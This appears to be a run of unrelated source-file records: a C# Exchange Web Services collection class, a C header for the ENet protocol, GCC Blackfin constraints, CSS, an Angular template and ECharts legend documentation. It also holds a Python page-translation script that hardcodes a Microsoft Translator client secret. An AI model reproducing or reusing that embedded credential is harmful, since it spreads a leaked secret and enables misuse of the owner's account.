* to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or\n * substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR\n * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE\n * FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n */\n\nnamespace Microsoft.Exchange.WebServices.Data\n{\n using System;\n using System.Collections.Generic;\n\n /// <summary>\n /// Represents a collection of persona e-mail addresses.\n /// </summary>\n public sealed class PersonaEmailAddressCollection : ComplexPropertyCollection<PersonaEmailAddress>\n {\n /// <summary>\n /// XML element name\n /// </summary>\n private readonly string collectionItemXmlElementName;\n\n /// <summary>\n /// Creates a new instance of the <see cref=\"PersonaEmailAddressCollection\"/> class.\n /// </summary>\n /// <remarks>\n /// MSDN example incorrectly shows root element as EmailAddress. In fact, it is Address.\n /// </remarks>\n internal PersonaEmailAddressCollection()\n : this(XmlElementNames.Address)\n {\n }\n\n /// <summary>\n /// Creates a new instance of the <see cref=\"PersonaEmailAddressCollection\"/> class.\n /// </summary>\n /// <param name=\"collectionItemXmlElementName\">Name of the collection item XML element.</param>\n internal PersonaEmailAddressCollection(string collectionItemXmlElementName)\n : base()\n {\n this.collectionItemXmlElementName = collectionItemXmlElementName;\n }\n\n /// <summary>\n /// Adds a persona e-mail address to the collection.\n /// </summary>\n /// <param name=\"emailAddress\">The persona e-mail address to add.</param>\n public void Add(PersonaEmailAddress emailAddress)\n {\n this.InternalAdd(emailAddress);\n }\n\n /// <summary>\n /// Adds multiple persona e-mail addresses to the collection.\n /// </summary>\n /// <param name=\"emailAddresses\">The collection of persona e-mail addresses to add.</param>\n public void AddRange(IEnumerable<PersonaEmailAddress> emailAddresses)\n {\n if (emailAddresses != null)\n {\n foreach (PersonaEmailAddress emailAddress in emailAddresses)\n {\n this.Add(emailAddress);\n }\n }\n }\n\n /// <summary>\n /// Adds a persona e-mail address to the collection.\n /// </summary>\n /// <param name=\"smtpAddress\">The SMTP address used to initialize the persona e-mail address.</param>\n /// <returns>An PersonaEmailAddress object initialized with the provided SMTP address.</returns>\n public PersonaEmailAddress Add(string smtpAddress)\n {\n PersonaEmailAddress emailAddress = new PersonaEmailAddress(smtpAddress);\n\n this.Add(emailAddress);\n\n return emailAddress;\n }\n\n /// <summary>\n /// Adds multiple e-mail addresses to the collection.\n /// </summary>\n /// <param name=\"smtpAddresses\">The SMTP addresses to be added as persona email addresses</param>\n public void AddRange(IEnumerable<string> smtpAddresses)\n {\n if (smtpAddresses != null)\n {\n foreach (string smtpAddress in smtpAddresses)\n {\n this.Add(smtpAddress);\n }\n }\n }\n\n /// <summary>\n /// Adds an e-mail address to the collection.\n /// </summary>\n /// <param name=\"name\">The name used to initialize the persona e-mail address.</param>\n /// <param name=\"smtpAddress\">The SMTP address used to initialize the persona e-mail address.</param>\n /// <returns>An PersonaEmailAddress object initialized with the provided SMTP address.</returns>\n public PersonaEmailAddress Add(string name, string smtpAddress)\n {\n PersonaEmailAddress emailAddress = new PersonaEmailAddress(name, smtpAddress);\n\n this.Add(emailAddress);\n\n return emailAddress;\n }\n\n /// <summary>\n /// Clears the collection.\n /// </summary>\n public void Clear()\n {\n this.InternalClear();\n }\n\n /// <summary>\n /// Removes a persona e-mail address from the collection.\n /// </summary>\n /// <param name=\"index\">The index of the e-mail address to remove.</param>\n public void RemoveAt(int index)\n {\n if (index < 0 || index >= this.Count)\n {\n throw new ArgumentOutOfRangeException(\"index\", Strings.IndexIsOutOfRange);\n }\n\n this.InternalRemoveAt(index);\n }\n\n /// <summary>\n /// Removes a persona e-mail address from the collection.\n /// </summary>\n /// <param name=\"personaEmailAddress\">The e-mail address to remove.</param>\n /// <returns>Whether removed from the collection</returns>\n public bool Remove(PersonaEmailAddress personaEmailAddress)\n {\n EwsUtilities.ValidateParam(personaEmailAddress, \"personaEmailAddress\");\n\n return this.InternalRemove(personaEmailAddress);\n }\n\n /// <summary>\n /// Creates a PersonaEmailAddress object from an XML element name.\n /// </summary>\n /// <param name=\"xmlElementName\">The XML element name from which to create the persona e-mail address.</param>\n /// <returns>A PersonaEmailAddress object.</returns>\n internal override PersonaEmailAddress CreateComplexProperty(string xmlElementName)\n {\n if (xmlElementName == this.collectionItemXmlElementName)\n {\n return new PersonaEmailAddress();\n }\n else\n {\n return null;\n }\n }\n\n /// <summary>\n /// Retrieves the XML element name corresponding to the provided PersonaEmailAddress object.\n /// </summary>\n /// <param name=\"personaEmailAddress\">The PersonaEmailAddress object from which to determine the XML element name.</param>\n /// <returns>The XML element name corresponding to the provided PersonaEmailAddress object.</returns>\n internal override string GetCollectionItemXmlElementName(PersonaEmailAddress personaEmailAddress)\n {\n return this.collectionItemXmlElementName;\n }\n\n /// <summary>\n /// Determine whether we should write collection to XML or not.\n /// </summary>\n /// <returns>Always true, even if the collection is empty.</returns>\n internal override bool ShouldWriteToRequest()\n {\n return true;\n }\n }\n}"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport re\nimport time\nfrom bs4 import BeautifulSoup\n\n# https://github.com/openlabs/Microsoft-Translator-Python-API\n# Also, yes, my API key is public\nfrom microsofttranslator import Translator\n\ndef translate(text, language):\n\tglobal translator\n\t\n\tfor i in range(5):\n\t\ttry:\n\t\t\ttranslation\t= translator.translate(text, language)\n\t\t\t\n\t\t\tif 'ArgumentException' in translation:\n\t\t\t\traise Exception(translation)\n\t\t\t\n\t\t\treturn re.sub(u'peer.fm', u'Peer.fm', translation, flags = re.IGNORECASE)\n\t\t\t\n\t\texcept Exception, e:\n\t\t\tf\t= open('translate.log', 'w+')\n\t\t\tf.write(str(e))\n\t\t\tf.close()\n\t\t\ttime.sleep(20)\n\t\t\ttranslator\t= Translator('peerfm', 'bJHtNJK4zTLAGtaoyxnO5wI1N3XHN8Fygz2pEn11WTQ=')\n\t\n\treturn text\n\ndef swapStringWithChild(elem, s, child):\n\tnewElem\t= BeautifulSoup(unicode(elem).replace(unicode(s), unicode(child))).find_all()[2]\n\telem.replace_with(newElem)\n\treturn newElem\n\n\ncodec\t\t= 'utf8'\nplaceholder\t= u'FUCKMAINE'\n\nf\t\t\t= open('languages.json', 'r')\nlanguages\t= json.loads(f.read())\nf.close()\n\nf\t\t\t= open('index.html', 'r')\nbaseHtml\t= f.read()\nf.close()\n\n\nfor language in languages:\n\tf\t\t= open(language + '.html', 'w')\n\thtml\t= BeautifulSoup(baseHtml)\n\t\n\tfor elem in html.find_all():\n\t\tdescendants\t\t= elem.find_all()\n\t\t\n\t\tshouldTranslate\t= True\n\t\tshouldTranslate\t= shouldTranslate and elem.get('notranslate') is None\n\t\tshouldTranslate\t= shouldTranslate and (not descendants or unicode(elem.parent.get('hash-location')) == u'#about')\n\t\tshouldTranslate\t= shouldTranslate and (elem.parent is None or elem.parent.parent is None or unicode(elem.parent.parent.get('hash-location')) != u'#about')\n\t\t\n\t\tif not shouldTranslate:\n\t\t\tcontinue\n\t\t\n\t\t\n\t\tcontent\t\t= elem.get('content')\n\t\t\n\t\tif content is not None and elem.get('name') in ['description', 'keywords', 'author']:\n\t\t\telem['content']\t= translate(unicode(content), language)\n\t\t\n\t\t\n\t\t# Swap out children with placeholders\n\t\tfor i in range(len(descendants)):\n\t\t\tdescendants[i].string\t= translate(unicode(descendants[i].string), language)\n\t\t\tdescendants[i].replace_with(placeholder + unicode(i))\n\t\t\n\t\tif descendants:\n\t\t\telem.string\t= elem.text\n\t\t\n\t\t\n\t\ttext\t\t= unicode(elem.string)\n\t\t\n\t\tif elem.string is None or text.strip() == u'':\n\t\t\tcontinue\n\t\t\n\t\tbindings\t= re.findall('\\\\{\\\\{.*?\\\\}\\\\}', text)\n\t\t\n\t\t# Swap out Angular bindings with placeholders\n\t\tfor i in range(len(bindings)):\n\t\t\ttext\t= text.replace(bindings[i], placeholder + str(i))\n\t\t\n\t\ttext\t\t= translate(text, language)\n\t\t\n\t\t# Swap out placeholders with Angular bindings\n\t\tfor i in range(len(bindings)):\n\t\t\ttext\t= text.replace(placeholder + str(i), bindings[i])\n\t\t\n\t\tprint(text)\n\t\telem.string\t= text\n\t\t\n\t\t\n\t\t# Swap out placeholders with children\n\t\tfor i in range(len(descendants)):\n\t\t\telem\t= swapStringWithChild(elem, placeholder + unicode(i), descendants[i])\n\t\n\tf.write(unicode(html).encode(codec))\n\tf.close()\n"} {"text": "/** \n @file protocol.h\n @brief ENet protocol\n*/\n#ifndef __ENET_PROTOCOL_H__\n#define __ENET_PROTOCOL_H__\n\n#include \"enet/types.h\"\n\nenum\n{\n ENET_PROTOCOL_MINIMUM_MTU = 576,\n ENET_PROTOCOL_MAXIMUM_MTU = 4096,\n ENET_PROTOCOL_MAXIMUM_PACKET_COMMANDS = 32,\n ENET_PROTOCOL_MINIMUM_WINDOW_SIZE = 4096,\n ENET_PROTOCOL_MAXIMUM_WINDOW_SIZE = 65536,\n ENET_PROTOCOL_MINIMUM_CHANNEL_COUNT = 1,\n ENET_PROTOCOL_MAXIMUM_CHANNEL_COUNT = 255,\n ENET_PROTOCOL_MAXIMUM_PEER_ID = 0xFFF,\n ENET_PROTOCOL_MAXIMUM_FRAGMENT_COUNT = 1024 * 1024\n};\n\ntypedef enum _ENetProtocolCommand\n{\n ENET_PROTOCOL_COMMAND_NONE = 0,\n ENET_PROTOCOL_COMMAND_ACKNOWLEDGE = 1,\n ENET_PROTOCOL_COMMAND_CONNECT = 2,\n ENET_PROTOCOL_COMMAND_VERIFY_CONNECT = 3,\n ENET_PROTOCOL_COMMAND_DISCONNECT = 4,\n ENET_PROTOCOL_COMMAND_PING = 5,\n ENET_PROTOCOL_COMMAND_SEND_RELIABLE = 6,\n ENET_PROTOCOL_COMMAND_SEND_UNRELIABLE = 7,\n ENET_PROTOCOL_COMMAND_SEND_FRAGMENT = 8,\n ENET_PROTOCOL_COMMAND_SEND_UNSEQUENCED = 9,\n ENET_PROTOCOL_COMMAND_BANDWIDTH_LIMIT = 10,\n ENET_PROTOCOL_COMMAND_THROTTLE_CONFIGURE = 11,\n ENET_PROTOCOL_COMMAND_SEND_UNRELIABLE_FRAGMENT = 12,\n ENET_PROTOCOL_COMMAND_COUNT = 13,\n\n ENET_PROTOCOL_COMMAND_MASK = 0x0F\n} ENetProtocolCommand;\n\ntypedef enum _ENetProtocolFlag\n{\n ENET_PROTOCOL_COMMAND_FLAG_ACKNOWLEDGE = (1 << 7),\n ENET_PROTOCOL_COMMAND_FLAG_UNSEQUENCED = (1 << 6),\n\n ENET_PROTOCOL_HEADER_FLAG_COMPRESSED = (1 << 14),\n ENET_PROTOCOL_HEADER_FLAG_SENT_TIME = (1 << 15),\n ENET_PROTOCOL_HEADER_FLAG_MASK = ENET_PROTOCOL_HEADER_FLAG_COMPRESSED | ENET_PROTOCOL_HEADER_FLAG_SENT_TIME,\n\n ENET_PROTOCOL_HEADER_SESSION_MASK = (3 << 12),\n ENET_PROTOCOL_HEADER_SESSION_SHIFT = 12\n} ENetProtocolFlag;\n\n#ifdef _MSC_VER\n#pragma pack(push, 1)\n#define ENET_PACKED\n#elif defined(__GNUC__) || defined(__clang__)\n#define ENET_PACKED __attribute__ ((packed))\n#else\n#define ENET_PACKED\n#endif\n\ntypedef struct _ENetProtocolHeader\n{\n enet_uint16 peerID;\n enet_uint16 sentTime;\n} ENET_PACKED ENetProtocolHeader;\n\ntypedef struct _ENetProtocolCommandHeader\n{\n enet_uint8 command;\n enet_uint8 channelID;\n enet_uint16 reliableSequenceNumber;\n} ENET_PACKED ENetProtocolCommandHeader;\n\ntypedef struct _ENetProtocolAcknowledge\n{\n ENetProtocolCommandHeader header;\n enet_uint16 receivedReliableSequenceNumber;\n enet_uint16 receivedSentTime;\n} ENET_PACKED ENetProtocolAcknowledge;\n\ntypedef struct _ENetProtocolConnect\n{\n ENetProtocolCommandHeader header;\n enet_uint16 outgoingPeerID;\n enet_uint8 incomingSessionID;\n enet_uint8 outgoingSessionID;\n enet_uint32 mtu;\n enet_uint32 windowSize;\n enet_uint32 channelCount;\n enet_uint32 incomingBandwidth;\n enet_uint32 outgoingBandwidth;\n enet_uint32 packetThrottleInterval;\n enet_uint32 packetThrottleAcceleration;\n enet_uint32 packetThrottleDeceleration;\n enet_uint32 connectID;\n enet_uint32 data;\n} ENET_PACKED ENetProtocolConnect;\n\ntypedef struct _ENetProtocolVerifyConnect\n{\n ENetProtocolCommandHeader header;\n enet_uint16 outgoingPeerID;\n enet_uint8 incomingSessionID;\n enet_uint8 outgoingSessionID;\n enet_uint32 mtu;\n enet_uint32 windowSize;\n enet_uint32 channelCount;\n enet_uint32 incomingBandwidth;\n enet_uint32 outgoingBandwidth;\n enet_uint32 packetThrottleInterval;\n enet_uint32 packetThrottleAcceleration;\n enet_uint32 packetThrottleDeceleration;\n enet_uint32 connectID;\n} ENET_PACKED ENetProtocolVerifyConnect;\n\ntypedef struct _ENetProtocolBandwidthLimit\n{\n ENetProtocolCommandHeader header;\n enet_uint32 incomingBandwidth;\n enet_uint32 outgoingBandwidth;\n} ENET_PACKED ENetProtocolBandwidthLimit;\n\ntypedef struct _ENetProtocolThrottleConfigure\n{\n ENetProtocolCommandHeader header;\n enet_uint32 packetThrottleInterval;\n enet_uint32 packetThrottleAcceleration;\n enet_uint32 packetThrottleDeceleration;\n} ENET_PACKED ENetProtocolThrottleConfigure;\n\ntypedef struct _ENetProtocolDisconnect\n{\n ENetProtocolCommandHeader header;\n enet_uint32 data;\n} ENET_PACKED ENetProtocolDisconnect;\n\ntypedef struct _ENetProtocolPing\n{\n ENetProtocolCommandHeader header;\n} ENET_PACKED ENetProtocolPing;\n\ntypedef struct _ENetProtocolSendReliable\n{\n ENetProtocolCommandHeader header;\n enet_uint16 dataLength;\n} ENET_PACKED ENetProtocolSendReliable;\n\ntypedef struct _ENetProtocolSendUnreliable\n{\n ENetProtocolCommandHeader header;\n enet_uint16 unreliableSequenceNumber;\n enet_uint16 dataLength;\n} ENET_PACKED ENetProtocolSendUnreliable;\n\ntypedef struct _ENetProtocolSendUnsequenced\n{\n ENetProtocolCommandHeader header;\n enet_uint16 unsequencedGroup;\n enet_uint16 dataLength;\n} ENET_PACKED ENetProtocolSendUnsequenced;\n\ntypedef struct _ENetProtocolSendFragment\n{\n ENetProtocolCommandHeader header;\n enet_uint16 startSequenceNumber;\n enet_uint16 dataLength;\n enet_uint32 fragmentCount;\n enet_uint32 fragmentNumber;\n enet_uint32 totalLength;\n enet_uint32 fragmentOffset;\n} ENET_PACKED ENetProtocolSendFragment;\n\ntypedef union _ENetProtocol\n{\n ENetProtocolCommandHeader header;\n ENetProtocolAcknowledge acknowledge;\n ENetProtocolConnect connect;\n ENetProtocolVerifyConnect verifyConnect;\n ENetProtocolDisconnect disconnect;\n ENetProtocolPing ping;\n ENetProtocolSendReliable sendReliable;\n ENetProtocolSendUnreliable sendUnreliable;\n ENetProtocolSendUnsequenced sendUnsequenced;\n ENetProtocolSendFragment sendFragment;\n ENetProtocolBandwidthLimit bandwidthLimit;\n ENetProtocolThrottleConfigure throttleConfigure;\n} ENET_PACKED ENetProtocol;\n\n#ifdef _MSC_VER\n#pragma pack(pop)\n#endif\n\n#endif /* __ENET_PROTOCOL_H__ */\n\n"} {"text": "/*\r\nCopyright 2015 Google Inc. All Rights Reserved.\r\n\r\nLicensed under the Apache License, Version 2.0 (the \"License\");\r\nyou may not use this file except in compliance with the License.\r\nYou may obtain a copy of the License at\r\n\r\nhttp://www.apache.org/licenses/LICENSE-2.0\r\n\r\nUnless required by applicable law or agreed to in writing, software\r\ndistributed under the License is distributed on an \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\nSee the License for the specific language governing permissions and\r\nlimitations under the License.\r\n*/\r\n\r\n#include \"stdafx.h\"\r\n\r\nBOOL APIENTRY DllMain( HMODULE hModule,\r\n DWORD ul_reason_for_call,\r\n LPVOID lpReserved\r\n\t\t\t\t\t )\r\n{\r\n\tswitch (ul_reason_for_call)\r\n\t{\r\n\tcase DLL_PROCESS_ATTACH:\r\n\tcase DLL_THREAD_ATTACH:\r\n\tcase DLL_THREAD_DETACH:\r\n\tcase DLL_PROCESS_DETACH:\r\n\t\tbreak;\r\n\t}\r\n\treturn TRUE;\r\n}\r\n\r\n"} {"text": "<app-header name=\"PoE Overlay - Launcher\">\n <div class=\"launcher\">\n <img class=\"image\" src=\"assets/images/logo-256.png\">\n <div class=\"message\">\n <span> {{message$ | async}} </span>\n </div>\n </div>\n</app-header>"} {"text": ";; Constraint definitions for Blackfin\n;; Copyright (C) 2008-2019 Free Software Foundation, Inc.\n;; Contributed by Analog Devices\n\n;; This file is part of GCC.\n\n;; GCC is free software; you can redistribute it and/or modify it\n;; under the terms of the GNU General Public License as published\n;; by the Free Software Foundation; either version 3, or (at your\n;; option) any later version.\n\n;; GCC is distributed in the hope that it will be useful, but WITHOUT\n;; ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n;; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\n;; License for more details.\n\n;; You should have received a copy of the GNU General Public License\n;; along with GCC; see the file COPYING3. If not see\n;; <http://www.gnu.org/licenses/>.\n\n(define_register_constraint \"a\" \"PREGS\"\n \"A Pn register.\")\n\n(define_register_constraint \"d\" \"DREGS\"\n \"A Rn register.\")\n\n(define_register_constraint \"z\" \"PREGS_CLOBBERED\"\n \"A call clobbered Pn register.\")\n\n(define_register_constraint \"D\" \"EVEN_DREGS\"\n \"An even-numbered Rn register.\")\n\n(define_register_constraint \"W\" \"ODD_DREGS\"\n \"An odd-numbered Rn register.\")\n\n(define_register_constraint \"e\" \"AREGS\"\n \"An accumulator register.\")\n\n(define_register_constraint \"A\" \"EVEN_AREGS\"\n \"An even-numbered accumulator; A0.\")\n\n(define_register_constraint \"B\" \"ODD_AREGS\"\n \"An odd-numbered accumulator; A1.\")\n\n(define_register_constraint \"b\" \"IREGS\"\n \"An I register.\")\n\n(define_register_constraint \"v\" \"BREGS\"\n \"A B register.\")\n\n(define_register_constraint \"f\" \"MREGS\"\n \"An M register.\")\n\n(define_register_constraint \"c\" \"CIRCREGS\"\n \"A register used for circular buffering, i.e. I, B, or L registers.\")\n\n(define_register_constraint \"C\" \"CCREGS\"\n \"The CC register.\")\n\n(define_register_constraint \"t\" \"LT_REGS\"\n \"LT0 or LT1.\")\n\n(define_register_constraint \"u\" \"LB_REGS\"\n \"LB0 or LB1.\")\n\n(define_register_constraint \"k\" \"LC_REGS\"\n \"LC0 or LC1.\")\n\n(define_register_constraint \"x\" \"MOST_REGS\"\n \"Any R, P, B, M, I or L register.\")\n\n(define_register_constraint \"y\" \"PROLOGUE_REGS\"\n \"Additional registers typically used only in prologues and epilogues:\n RETS, RETN, RETI, RETX, RETE, ASTAT, SEQSTAT and USP.\")\n\n(define_register_constraint \"w\" \"NON_A_CC_REGS\"\n \"Any register except accumulators or CC.\")\n\n(define_register_constraint \"Z\" \"FDPIC_REGS\"\n \"@internal The FD-PIC GOT pointer; P3.\")\n\n(define_register_constraint \"Y\" \"FDPIC_FPTR_REGS\"\n \"@internal The FD-PIC function pointer register; P1.\")\n\n(define_register_constraint \"q0\" \"D0REGS\"\n \"The register R0.\")\n\n(define_register_constraint \"q1\" \"D1REGS\"\n \"The register R1.\")\n\n(define_register_constraint \"q2\" \"D2REGS\"\n \"The register R2.\")\n\n(define_register_constraint \"q3\" \"D3REGS\"\n \"The register R3.\")\n\n(define_register_constraint \"q4\" \"D4REGS\"\n \"The register R4.\")\n\n(define_register_constraint \"q5\" \"D5REGS\"\n \"The register R5.\")\n\n(define_register_constraint \"q6\" \"D6REGS\"\n \"The register R6.\")\n\n(define_register_constraint \"q7\" \"D7REGS\"\n \"The register R7.\")\n\n(define_register_constraint \"qA\" \"P0REGS\"\n \"The register P0.\")\n\n;; Constant constraints.\n\n(define_constraint \"J\"\n \"A constant value of the form 2**N, where N 5-bit wide.\"\n (and (match_code \"const_int\")\n (match_test \"log2constp (ival)\")))\n\n(define_constraint \"Ks3\"\n \"A signed 3 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= -4 && ival <= 3\")))\n\n(define_constraint \"Ku3\"\n \"An unsigned 3 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= 0 && ival <= 7\")))\n\n(define_constraint \"Ks4\"\n \"A signed 4 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= -8 && ival <= 7\")))\n\n(define_constraint \"Ku4\"\n \"An unsigned 4 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= 0 && ival <= 15\")))\n\n(define_constraint \"Ks5\"\n \"A signed 5 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= -16 && ival <= 15\")))\n\n(define_constraint \"Ku5\"\n \"An unsigned 5 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= 0 && ival <= 31\")))\n\n(define_constraint \"Ks7\"\n \"A signed 7 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= -64 && ival <= 63\")))\n\n(define_constraint \"KN7\"\n \"A constant that when negated is a signed 7 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= -63 && ival <= 64\")))\n\n(define_constraint \"Ksh\"\n \"A signed 16 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= -32768 && ival <= 32767\")))\n\n(define_constraint \"Kuh\"\n \"An unsigned 16 bit immediate.\"\n (and (match_code \"const_int\")\n (match_test \"ival >= 0 && ival <= 65535\")))\n\n(define_constraint \"L\"\n \"A constant value of the form ~(2**N).\"\n (and (match_code \"const_int\")\n (match_test \"log2constp (~ival)\")))\n\n(define_constraint \"M1\"\n \"An integer with the value 255.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 255\")))\n\n(define_constraint \"M2\"\n \"An integer with the value 65535.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 65535\")))\n\n(define_constraint \"P0\"\n \"An integer with the value 0.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 0\")))\n\n(define_constraint \"P1\"\n \"An integer with the value 1.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 1\")))\n\n(define_constraint \"P2\"\n \"An integer with the value 2.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 2\")))\n\n(define_constraint \"P3\"\n \"An integer with the value 3.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 3\")))\n\n(define_constraint \"P4\"\n \"An integer with the value 4.\"\n (and (match_code \"const_int\")\n (match_test \"ival == 4\")))\n\n(define_constraint \"PA\"\n \"An integer constant describing any macflag except variants involving M.\"\n (and (match_code \"const_int\")\n (match_test \"ival != MACFLAG_M && ival != MACFLAG_IS_M\")))\n\n(define_constraint \"PB\"\n \"An integer constant describing any macflag involving M.\"\n (and (match_code \"const_int\")\n (match_test \"ival == MACFLAG_M || ival == MACFLAG_IS_M\")))\n\n\n;; Extra constraints\n\n(define_constraint \"Q\"\n \"A SYMBOL_REF.\"\n (match_code \"symbol_ref\"))\n\n"} {"text": "html, body {\n width: 100%;\n height: 100%;\n margin: 0;\n padding: 0;\n overflow-x: hidden;\n}\n\n.main {\n width: 100%;\n overflow: hidden;\n}\n\n.table-view {\n height: 100%;\n float: left;\n margin: 20px;\n width: 40%;\n}\n\n.table-view .table-container {\n width: 100%;\n margin-bottom: 50px;\n overflow: scroll;\n}\n\n.table-view th {\n padding: 5px 10px;\n background-color: #F7F7F7;\n}\n\n.table-view td {\n width: 50px;\n text-align: center;\n padding:0;\n}\n\n.table-container input {\n width: 40px;\n padding: 5px;\n border: none;\n outline: none;\n}\n\n.table-view caption {\n font-size: 18px;\n text-align: left;\n}\n\n.charts-view {\n /*margin-left: 49%!important;*/\n width: 50%;\n margin-left: 49%;\n height: 400px;\n}\n\n.charts-container {\n border-left: 1px solid #c3c3c3;\n}\n\n.charts-format fieldset {\n padding-left: 20px;\n margin-bottom: 50px;\n}\n\n.charts-format legend {\n padding-left: 10px;\n padding-right: 10px;\n}\n\n.format-item-container {\n padding: 20px;\n}\n\n.format-item-container label {\n display: block;\n margin: 10px 0;\n}\n\n.charts-format .data-item {\n border: 1px solid black;\n outline: none;\n padding: 2px 3px;\n}\n\n/* 图表类型 */\n\n.charts-type {\n margin-top: 50px;\n height: 300px;\n}\n\n.scroll-view {\n border: 1px solid #c3c3c3;\n border-left: none;\n border-right: none;\n overflow: hidden;\n}\n\n.scroll-container {\n margin: 20px;\n width: 100%;\n overflow: hidden;\n}\n\n.scroll-bed {\n width: 10000px;\n _margin-top: 20px;\n -webkit-transition: margin-left .5s ease;\n -moz-transition: margin-left .5s ease;\n transition: margin-left .5s ease;\n}\n\n.view-box {\n display: inline-block;\n *display: inline;\n *zoom: 1;\n margin-right: 20px;\n border: 2px solid white;\n line-height: 0;\n overflow: hidden;\n cursor: pointer;\n}\n\n.view-box img {\n border: 1px solid #cecece;\n}\n\n.view-box.selected {\n border-color: #7274A7;\n}\n\n.button-container {\n margin-bottom: 20px;\n text-align: center;\n}\n\n.button-container a {\n display: inline-block;\n width: 100px;\n height: 25px;\n line-height: 25px;\n border: 1px solid #c2ccd1;\n margin-right: 30px;\n text-decoration: none;\n color: black;\n -webkit-border-radius: 2px;\n -moz-border-radius: 2px;\n border-radius: 2px;\n}\n\n.button-container a:HOVER {\n background: #fcfcfc;\n}\n\n.button-container a:ACTIVE {\n border-top-color: #c2ccd1;\n box-shadow:inset 0 5px 4px -4px rgba(49, 49, 64, 0.1);\n}\n\n.edui-charts-not-data {\n height: 100px;\n line-height: 100px;\n text-align: center;\n}"} {"text": "\n{{target: component-legend}}\n\n# legend(Object)\n\n图例组件。\n\n图例组件展现了不同系列的标记(symbol),颜色和名字。可以通过点击图例控制哪些系列不显示。\n\nECharts 3 中单个 echarts 实例中可以存在多个图例组件,会方便多个图例的布局。\n\n当图例数量过多时,可以使用 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1),参见:[legend.type](~legend.type)\n\n\n<ExampleBaseOption name=\"legend\" title=\"基础图例\" title-en=\"Basic Legend\">\n\noption = {\n color: ['#003366', '#006699', '#4cabce', '#e5323e'],\n dataset: {\n source: [\n ['type', '2012', '2013', '2014', '2015', '2016'],\n ['Forest', 320, 332, 301, 334, 390],\n ['Steppe', 220, 182, 191, 234, 290],\n ['Desert', 150, 232, 201, 154, 190],\n ['Wetland', 98, 77, 101, 99, 40]\n ]\n },\n legend: {\n },\n xAxis: {\n type: 'category',\n axisTick: {show: false}\n },\n yAxis: {},\n series: [\n {\n type: 'bar',\n seriesLayoutBy: 'row'\n },\n {\n type: 'bar',\n seriesLayoutBy: 'row'\n },\n {\n type: 'bar',\n seriesLayoutBy: 'row'\n },\n {\n type: 'bar',\n seriesLayoutBy: 'row'\n }\n ]\n};\n</ExampleBaseOption>\n\n<ExampleBaseOption name=\"legend-more\" title=\"多源图例\" title-en=\"Legend on Multiple Source\">\nconst option = {\n legend: {\n width: 350,\n left: 0\n },\n tooltip: {},\n dataset: {\n source: [\n ['product', '2012', '2013', '2014', '2015'],\n ['Matcha Latte', 41.1, 30.4, 65.1, 53.3],\n ['Milk Tea', 86.5, 92.1, 85.7, 83.1],\n ['Cheese Cocoa', 24.1, 67.2, 79.5, 86.4]\n ]\n },\n xAxis: [\n {type: 'category', gridIndex: 0},\n {type: 'category', gridIndex: 1}\n ],\n yAxis: [\n {gridIndex: 0},\n {gridIndex: 1}\n ],\n grid: [\n {bottom: '55%'},\n {top: '55%'}\n ],\n series: [\n // These series are in the first grid.\n {type: 'bar', seriesLayoutBy: 'row'},\n {type: 'bar', seriesLayoutBy: 'row'},\n {type: 'bar', seriesLayoutBy: 'row'},\n // These series are in the second grid.\n {type: 'bar', xAxisIndex: 1, yAxisIndex: 1},\n {type: 'bar', xAxisIndex: 1, yAxisIndex: 1},\n {type: 'bar', xAxisIndex: 1, yAxisIndex: 1},\n {type: 'bar', xAxisIndex: 1, yAxisIndex: 1}\n ]\n};\n\n</ExampleBaseOption>\n\n## type(string)\n\n<ExampleUIControlEnum options=\"plain,scroll\" />\n\n图例的类型。可选值:\n\n+ `'plain'`:普通图例。缺省就是普通图例。\n+ `'scroll'`:可滚动翻页的图例。当图例数量较多时可以使用。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n当使用 `'scroll'` 时,使用这些设置进行细节配置:\n+ [legend.scrollDataIndex](~legend.scrollDataIndex)\n+ [legend.pageButtonItemGap](~legend.pageButtonItemGap)\n+ [legend.pageButtonGap](~legend.pageButtonGap)\n+ [legend.pageButtonPosition](~legend.pageButtonPosition)\n+ [legend.pageFormatter](~legend.pageFormatter)\n+ [legend.pageIcons](~legend.pageIcons)\n+ [legend.pageIconColor](~legend.pageIconColor)\n+ [legend.pageIconInactiveColor](~legend.pageIconInactiveColor)\n+ [legend.pageIconSize](~legend.pageIconSize)\n+ [legend.pageTextStyle](~legend.pageTextStyle)\n+ [legend.animation](~legend.animation)\n+ [legend.animationDurationUpdate](~legend.animationDurationUpdate)\n\n{{use: 